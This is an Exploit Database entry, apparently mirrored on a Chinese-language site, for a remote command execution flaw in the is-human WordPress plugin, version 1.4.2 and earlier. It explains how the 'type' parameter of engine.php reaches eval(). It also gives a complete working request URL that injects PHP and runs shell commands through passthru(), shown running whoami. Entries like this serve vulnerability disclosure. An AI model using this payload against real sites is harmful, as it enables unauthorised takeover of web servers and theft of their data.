WordPress Plugin Is-human 1.4.2 – Remote Command Execution

• Exploit Database
• 101 阅读

• 作者： neworder
  日期： 2011-05-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17299/

• # Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.
  # Date: 16.05.2011
  # Author: neworder [www.neworder-ind.net] 
  # Software Link: http://wordpress.org/extend/plugins/is-human/
  # Version: 1.4.2
  # Tested on: Linux Platform
  
  The vulnerability exists in /is-human/engine.php . 
  
  It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code.
  
  In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.
  
  Execution running the linux whoami command:
  
  http://server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error
  

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